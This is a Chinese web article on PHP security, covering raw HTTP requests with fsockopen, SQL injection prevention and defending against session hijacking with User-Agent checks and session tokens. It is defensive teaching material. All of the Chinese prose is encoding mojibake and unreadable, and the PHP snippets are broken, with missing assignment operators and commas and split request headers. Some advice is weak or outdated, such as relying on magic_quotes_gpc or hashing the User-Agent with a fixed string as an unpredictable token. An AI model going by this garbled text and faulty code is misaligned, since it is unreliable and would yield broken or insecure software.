    ËùÏÔʾµÄÇëÇóÊÇ·ûºÏHTTP/1.1¹æ·¶µÄ×î¼òµ¥µÄÇëÇó£¬ÕâÊÇÒòΪHostÐÅÏ¢ÊÇÍ·²¿ÐÅÏ¢ÖÐËù±ØÐëÓеġ£Ò»µ©ÄãÊäÈëÁ˱íʾÇëÇó½áÊøµÄÁ¬ÐøÁ½¸ö»»Ðзû£¬Õû¸öHTMLµÄ»ØÓ¦¼´ÏÔʾÔÚÆÁÄ»ÉÏ¡£
    TelnetʵÓóÌÐò²»ÊÇÓëWeb·þÎñÆ÷Ö±½ÓͨÐŵÄΨһ·½·¨£¬µ«Ëü³£³£ÊÇ×î·½±ãµÄ¡£¿ÉÊÇÈç¹ûÄãÓÃPHP±àÂëͬÑùµÄÇëÇó£¬Äã¿ÉÒԾͿÉÒÔʵÏÖ×Ô¶¯²Ù×÷ÁË¡£Ç°ÃæµÄÇëÇó¿ÉÒÔÓÃÏÂÃæµÄPHP´úÂëʵÏÖ£º
<?php
     $http_response 
''
;
     
$fp fsockopen('abc.net'80
);
     
fputs($fp"GET / HTTP/1.1"
);
     
fputs($fp"Host: abc.net"
);
     while (!
feof($fp
))
     {
     
$http_response .= fgets($fp128
);
     }
     
fclose($fp
);
     echo 
nl2br(htmlentities($http_responseENT_QUOTES'UTF-8'
));
     
?>

    µ±È»£¬»¹Óкܶ෽·¨È¥´ïµ½ÉÏÃæµÄÄ¿µÄ£¬µ«ÆäÒªµãÊÇHTTPÊÇÒ»¸ö¹ãΪÈËÖªµÄ±ê׼ЭÒ飬һ°ã¹¥»÷Õß¶¼»á¶ÔËü·Ç³£ÊìϤ£¬²¢ÇÒ¶Ô³£¼ûµÄ°²È«Â©¶´µÄ¹¥»÷·½·¨Ò²ºÜÊìϤ¡£

==SQL ×¢Èë

    SQL ×¢ÈëÊÇPHPÓ¦ÓÃÖÐ×î³£¼ûµÄ©¶´Ö®Ò»¡£ÊÂʵÉÏÁîÈ˾ªÆæµÄÊÇ£¬¿ª·¢ÕßҪͬʱ·¸Á½¸ö´íÎó²Å»áÒý·¢Ò»¸öSQL×¢Èë©¶´£¬Ò»¸öÊÇûÓжÔÊäÈëµÄÊý¾Ý½øÐйýÂË£¨¹ýÂËÊäÈ룩£¬»¹ÓÐÒ»¸öÊÇûÓжԷ¢Ë͵½Êý¾Ý¿âµÄÊý¾Ý½øÐÐתÒ壨תÒåÊä³ö£©¡£ÕâÁ½¸öÖØÒªµÄ²½Öèȱһ²»¿É£¬ÐèҪͬʱ¼ÓÒÔÌØ±ð¹Ø×¢ÒÔ¼õÉÙ³ÌÐò´íÎó¡£
    ËäÈ»Á½¸ö²½Öè¶¼²»ÄÜÊ¡ÂÔ£¬µ«Ö»ÒªÊµÏÖÆäÖеÄÒ»¸ö¾ÍÄÜÏû³ý´ó¶àÊýµÄSQL×¢Èë·çÏÕ¡£Èç¹ûÄãÖ»ÊǹýÂËÊäÈë¶øÃ»ÓÐתÒåÊä³ö£¬ÄãºÜ¿ÉÄÜ»áÓöµ½Êý¾Ý¿â´íÎ󣨺Ϸ¨µÄÊý¾ÝÒ²¿ÉÄÜÓ°ÏìSQL²éѯµÄÕýÈ·¸ñʽ£©£¬µ«ÕâÒ²²»¿É¿¿£¬ºÏ·¨µÄÊý¾Ý»¹¿ÉÄܸıäSQLÓï¾äµÄÐÐΪ¡£ÁíÒ»·½Ã棬Èç¹ûÄãתÒåÁËÊä³ö£¬¶øÃ»ÓйýÂËÊäÈ룬¾ÍÄܱ£Ö¤Êý¾Ý²»»áÓ°ÏìSQLÓï¾äµÄ¸ñʽ£¬Í¬Ê±Ò²·ÀÖ¹Á˶àÖÖ³£¼ûSQL×¢Èë¹¥»÷µÄ·½·¨¡£
    ¹ØÓÚSQL×¢È룬²»µÃ²»ËµµÄÊÇÏÖÔÚ´ó¶àÐéÄâÖ÷»ú¶¼»á°Ñmagic_quotes_gpcÑ¡Ïî´ò¿ª£¬ÔÚÕâÖÖÇé¿öÏÂËùÓеĿͻ§¶ËGETºÍPOSTµÄÊý¾Ý¶¼»á×Ô¶¯½øÐÐaddslashes´¦Àí£¬ËùÒÔ´Ëʱ¶Ô×Ö·û´®ÖµµÄSQL×¢ÈëÊDz»¿ÉÐе쬵«Òª·ÀÖ¹¶ÔÊý×ÖÖµµÄSQL×¢È룬ÈçÓÃintval()µÈº¯Êý½øÐд¦Àí¡£µ«Èç¹ûÄã±àдµÄÊÇͨÓÃÈí¼þ£¬ÔòÐèÒª¶ÁÈ¡·þÎñÆ÷µÄmagic_quotes_gpcºó½øÐÐÏàÓ¦´¦Àí¡£

==»á»°½Ù³Ö

    ×î³£¼ûµÄÕë¶Ô»á»°µÄ¹¥»÷ÊÖ¶ÎÊǻỰ½Ù³Ö¡£ËüÊÇËùÓй¥»÷Õß¿ÉÒÔÓÃÀ´·ÃÎÊÆäËüÈ˵ĻỰµÄÊֶεÄ×ܳơ£ËùÓÐÕâЩÊֶεĵÚÒ»²½¶¼ÊÇÈ¡µÃÒ»¸öºÏ·¨µÄ»á»°±êʶÀ´Î±×°³ÉºÏ·¨Óû§£¬Òò´Ë±£Ö¤»á»°±êʶ²»±»Ð¹Â¶·Ç³£ÖØÒª¡£Ç°Ã漸½ÚÖйØÓڻỰ±©Â¶ºÍ¹Ì¶¨µÄ֪ʶÄܰïÖúÄã±£Ö¤»á»°±êʶֻÓзþÎñÆ÷¼°ºÏ·¨Óû§²ÅÄÜÖªµÀ¡£
    °Ñαװ¹ý³Ì±äµÃ¸ü¸´ÔӵĹؼüÊǼÓÇ¿ÑéÖ¤¡£»á»°±êʶÊÇÑéÖ¤µÄÊ×Òª·½·¨£¬Í¬Ê±Äã¿ÉÒÔÓÃÆäËüÊý¾ÝÀ´²¹³äËü¡£Äã¿ÉÒÔÓõÄËùÓÐÊý¾ÝÖ»ÊÇÔÚÿ¸öHTTPÇëÇóÖеÄÊý¾Ý£º GET HTTP/1.1
     Host
abc.
net
     User
-AgentFirefox/
1.0
     Accept
text/htmlimage/pngimage/jpegimage/gif, *
HTTP/1.1
     Host
abc.
net
     User
-AgentFirefox/
1.0
     Accept
text/htmlimage/pngimage/jpegimage/gif, *

    Ó¦¸ÃÒâʶµ½ÇëÇóµÄÒ»ÖÂÐÔ£¬²¢°Ñ²»Ò»ÖµÄÐÐΪÈÏΪÊÇ¿ÉÒÉÐÐΪ¡£ÀýÈ磬ËäÈ»User-Agent(·¢³ö±¾ÇëÇóµÄä¯ÀÀÆ÷ÀàÐÍ)Í·²¿ÊÇ¿ÉÑ¡µÄ£¬µ«ÊÇÖ»ÒªÊÇ·¢³ö¸ÃÍ·²¿µÄä¯ÀÀÆ÷ͨ³£¶¼²»»á±ä»¯ËüµÄÖµ¡£Èç¹ûÄãÒ»¸öÓµÓÐ1234µÄ»á»°±êʶµÄÓû§ÔڵǼºóÒ»Ö±ÓÃMozilla Firfoxä¯ÀÀÆ÷£¬Í»È»×ª»»³ÉÁËIE£¬Õâ¾Í±È½Ï¿ÉÒÉÁË¡£ÀýÈ磬´ËʱÄã¿ÉÒÔÓÃÒªÇóÊäÈëÃÜÂ뷽ʽÀ´¼õÇá·çÏÕ£¬Í¬Ê±ÔÚÎó±¨Ê±£¬ÕâÒ²¶ÔºÏ·¨Óû§²úÉúµÄ³å»÷Ò²±È½ÏС¡£Äã¿ÉÒÔÓÃÏÂÃæµÄ´úÂëÀ´¼ì²âUser-AgentµÄÒ»ÖÂÐÔ£º
<?php
     session_start
();
     if (isset(
$_SESSION['HTTP_USER_AGENT'
]))
     {
     if (
$_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'
]))
     {
         exit;
     }
     }
     else
     {
     
$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT'
]);
     }
     
?>

    ÔÚijЩ°æ±¾µÄIEä¯ÀÀÆ÷ÖУ¬Óû§Õý³£·ÃÎÊÒ»¸öÍøÒ³ºÍË¢ÐÂÒ»¸öÍøÒ³Ê±·¢³öµÄAcceptÍ·²¿ÐÅÏ¢²»Í¬£¬Òò´ËAcceptÍ·²¿²»ÄÜÓÃÀ´ÅжÏÒ»ÖÂÐÔ¡£     È·±£User-AgentÍ·²¿ÐÅÏ¢Ò»ÖµÄÈ·ÊÇÓÐЧµÄ£¬µ«Èç¹û»á»°±êʶͨ¹ýcookie´«µÝ£¬ÓеÀÀíÈÏΪ£¬Èç¹û¹¥»÷ÕßÄÜÈ¡µÃ»á»°±êʶ£¬ËûͬʱҲÄÜÈ¡µÃÆäËüHTTPÍ·²¿¡£ÓÉÓÚcookie±©Â¶Óëä¯ÀÀÆ÷©¶´»ò¿çÕ¾½Å±¾Â©¶´Ïà¹Ø£¬Êܺ¦ÕßÐèÒª·ÃÎʹ¥»÷ÕßµÄÍøÕ¾²¢±©Â¶ËùÓÐÍ·²¿ÐÅÏ¢¡£ËùÓй¥»÷ÕßÒª×öµÄÖ»ÊÇÖØ½¨Í·²¿ÒÔ·ÀÖ¹ÈκζÔÍ·²¿ÐÅÏ¢Ò»ÖÂÐԵļì²é¡£
    ±È½ÏºÃµÄ·½·¨ÊDzúÉúÔÚURLÖд«µÝÒ»¸ö±ê¼Ç£¬¿ÉÒÔÈÏΪÕâÊǵڶþÖÖÑéÖ¤µÄÐÎʽ¡£Ê¹ÓÃÕâ¸ö·½·¨ÐèÒª½øÐÐһЩ±à³Ì¹¤×÷£¬PHPÖÐûÓÐÏàÓ¦µÄ¹¦ÄÜ¡£ÀýÈ磬¼ÙÉè±ê¼Ç±£´æÔÚ$tokenÖУ¬ÄãÐèÒª°ÑËü°üº¬ÔÚËùÓÐÄãµÄÓ¦ÓõÄÄÚ²¿Á´½ÓÖУº <?php
     $url 
= array();
     
$html 
= array();
     
$url['token'] = rawurlencode($token
);
     
$html['token'] = htmlentities($url['token'], ENT_QUOTES'UTF-8'
);
     
?>      <a href="abc.php?token=<?php echo $html['token']; ?>">Click Here</a>

    ΪÁ˸ü·½±ãµØ¹ÜÀíÕâ¸ö´«µÝ¹ý³Ì£¬Äã¿ÉÄÜ»á°ÑÕû¸öÇëÇó´®·ÅÔÚÒ»¸ö±äÁ¿ÖС£Äã¿ÉÒÔ°ÑÕâ¸ö±äÁ¿¸½¼Óµ½ËùÓÐÁ´½ÓºóÃæ£¬ÕâÑù¼´±ãÄãÒ»¿ªÊ¼Ã»ÓÐʹÓøü¼ÇÉ£¬½ñºó»¹ÊÇ¿ÉÒԺܷ½±ãµØ¶ÔÄãµÄ´úÂë×÷³ö±ä»¯¡£     ¸Ã±ê¼ÇÐèÒª°üº¬²»¿ÉÔ¤²âµÄÄÚÈÝ£¬¼´±ãÊÇÔÚ¹¥»÷ÕßÖªµÀÁËÊܺ¦Õßä¯ÀÀÆ÷·¢³öµÄHTTPÍ·²¿µÄÈ«²¿ÐÅÏ¢Ò²²»ÐС£Ò»ÖÖ·½·¨ÊÇÉú³ÉÒ»¸öËæ»ú´®×÷Ϊ±ê¼Ç£º <?php
     $string 
$_SERVER['HTTP_USER_AGENT'
];
     
$string .= 'SHIFLETT'
;
     
$token md5($string
);
     
$_SESSION['token'] = $token
;
     
?>

    µ±ÄãʹÓÃËæ»ú´®Ê±£¨ÈçSHIFLETT£©£¬¶ÔËü½øÐÐÔ¤²âÊDz»ÏÖʵµÄ¡£´Ëʱ£¬²¶»ñ±ê¼Ç½«±ÈÔ¤²â±ê¼Ç¸üΪ·½±ã£¬Í¨¹ýÔÚURLÖд«µÝ±ê¼ÇºÍÔÚcookieÖд«µÝ»á»°±êʶ£¬¹¥»÷ʱÐèҪͬʱץȡËüÃǶþÕß¡£ÕâÑù³ý·Ç¹¥»÷ÕßÄܹ»²ì¿´Êܺ¦Õß·¢ÍùÄãµÄÓ¦ÓÃËùÓеÄHTTPÇëÇóԭʼÐÅÏ¢²Å¿ÉÒÔ£¬ÒòΪÔÚÕâÖÖÇé¿öÏÂËùÓÐÄÚÈݶ¼±©Â¶ÁË¡£ÕâÖÖ¹¥»÷·½Ê½ÊµÏÖÆðÀ´·Ç³£À§ÄÑ£¨ËùÒԺܺ±¼û£©£¬Òª·ÀÖ¹ËüÐèҪʹÓÃSSL¡£
    ÓÐר¼Ò¾¯¸æ²»ÒªÒÀÀµÓÚ¼ì²éUser-AgentµÄÒ»ÖÂÐÔ¡£ÕâÊÇÒòΪ·þÎñÆ÷Ⱥ¼¯ÖеÄHTTP´úÀí·þÎñÆ÷»á¶ÔUser-Agent½øÐб༭£¬¶ø±¾Èº¼¯ÖеĶà¸ö´úÀí·þÎñÆ÷Ôڱ༭¸Ãֵʱ¿ÉÄܻ᲻һÖ¡£
    Èç¹ûÄ㲻ϣÍûÒÀÀµÓÚ¼ì²éUser-AgentµÄÒ»ÖÂÐÔ¡£Äã¿ÉÒÔÉú³ÉÒ»¸öËæ»úµÄ±ê¼Ç£º
<?php
     $token 
md5(uniqid(rand(), TRUE
));
     
$_SESSION['token'] = $token
;
     
?>

    ÕâÒ»·½·¨µÄ°²È«ÐÔËäÈ»ÊÇÈõһЩ£¬µ«Ëü¸ü¿É¿¿¡£ÉÏÃæµÄÁ½¸ö·½·¨¶¼¶Ô·ÀÖ¹»á»°½Ù³ÖÌṩÁËÇ¿ÓÐÁ¦µÄÊֶΡ£ÄãÐèÒª×öµÄÊÇÔÚ°²È«ÐԺͿɿ¿ÐÔÖ®¼ä×÷³öƽºâ¡£
   
    ²Î¿¼£º
    Chris Shiflett ¡¶PHP°²È«¡·
    http://www.securityfocus.com/vulnerabilities

    ÎÄ/amxku
    amxku<2>msn.com
    ±¾ÎÄÖÐÏà¹ØÀý×ÓÀ´Ô´ÓÚÍøÂç    

   ÓÉÓÚ±¾È˵ÄˮƽÓÐÏÞ£¬Óв»Í×Ö®´¦»¹Íû¸«Õý¡£

À´Ô´£ºamxku.net ±à¼­£ºÐ¡°×ÍÃ

ÉÏһƪ£ºGoogle¸ß¼¶¼¼ÇÉ¡ªGoogle Hack[ÀûÓÃgoogleÈëÇÖ]   ÏÂһƪ£ººóÃż¼Êõ¼°rootkit¹¤¾ß£­Knark·ÖÎö¼°·À·¶

¹Ø¼ü×Ö

±¾Àà×îÐÂ